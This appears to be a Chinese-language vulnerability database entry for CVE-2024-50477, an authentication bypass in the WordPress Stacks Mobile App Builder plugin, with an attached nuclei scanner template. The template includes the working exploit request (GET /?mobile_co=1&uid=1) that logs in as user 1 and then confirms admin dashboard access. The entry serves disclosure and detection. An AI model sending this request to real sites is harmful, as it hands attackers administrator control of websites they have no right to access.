WordPress Stacks Mobile App Builder Authentication Bypass Vulnerability

漏洞信息

漏洞名称： WordPress Stacks Mobile App Builder Authentication Bypass Vulnerability

漏洞编号：

• CVE： CVE-2024-50477

漏洞类型： 权限绕过

漏洞等级： 严重

漏洞描述： WordPress的Stacks Mobile App Builder插件版本5.2.3及以下存在一个认证绕过漏洞。该漏洞源于插件对查询参数的处理不当，攻击者可以利用此漏洞冒充任意用户。Stacks Mobile App Builder是一个WordPress插件，旨在帮助用户快速构建移动应用程序，广泛应用于需要快速部署移动应用解决方案的网站。此漏洞的技术根源在于插件未能正确验证用户身份，导致攻击者可以通过构造特定的HTTP请求绕过认证机制。这种漏洞的严重性在于，攻击者无需任何认证即可获取管理员权限，进而可能执行任意操作，如修改网站内容、安装恶意插件或窃取敏感数据。由于该漏洞的利用复杂度低且影响范围广，被评为严重级别。

产品厂商： stacks

产品名称： Stacks Mobile App Builder

影响版本： version <= 5.2.3

来源： https://github.com/projectdiscovery/nuclei-templates/blob/ec389e106921cb352d8c8dcd6cd3eb56905ef978/http%2Fcves%2F2024%2FCVE-2024-50477.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2024-50477

info:
  name: WordPress Stacks Mobile App Builder <=5.2.3 - Authentication Bypass
  author: stealthcopter,vijay-sutar
  severity: critical
  description: |
    Stacks Mobile App Builder WordPress plugin ≤ 5.2.3 suffers from an authentication bypass vulnerability via improper handling of query parameters, allowing attackers to impersonate arbitrary users.
  reference:
    - https://github.com/stealthcopter/wordpress-hacking/blob/main/reports/stacks-mobile-app-builder-priv-esc/stacks-mobile-app-builder-priv-esc.md
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/stacks-mobile-app-builder/stacks-mobile-app-builder-523-authentication-bypass-via-account-takeover
    - https://patchstack.com/database/vulnerability/stacks-mobile-app-builder/wordpress-stacks-mobile-app-builder-plugin-5-2-3-account-takeover-vulnerability?_s_id=cve
    - https://github.com/RandomRobbieBF/CVE-2024-50477
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-50477
    cwe-id: CWE-288,CWE-306
    epss-score: 0.34151
    epss-percentile: 0.96759
    cpe: cpe:2.3:a:stacksmarket:stacks_mobile_app_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: stacks
    product: stacks_mobile_app_builder
    framework: wordpress
  tags: cve,cve2024,wordpress,auth-bypass,account-takeover,wp-plugin,stacks

http:
  - raw:
      - |
        GET /wp-content/plugins/stacks-mobile-app-builder/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Stacks Mobile App Builder")'
        condition: and
        internal: true

  - raw:
      - |
        GET /?mobile_co=1&uid=1 HTTP/1.1
        Host: {{Hostname}}

  - raw:
      - |
        POST /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Dashboard","Plugins","Edit Profile")'
        condition: and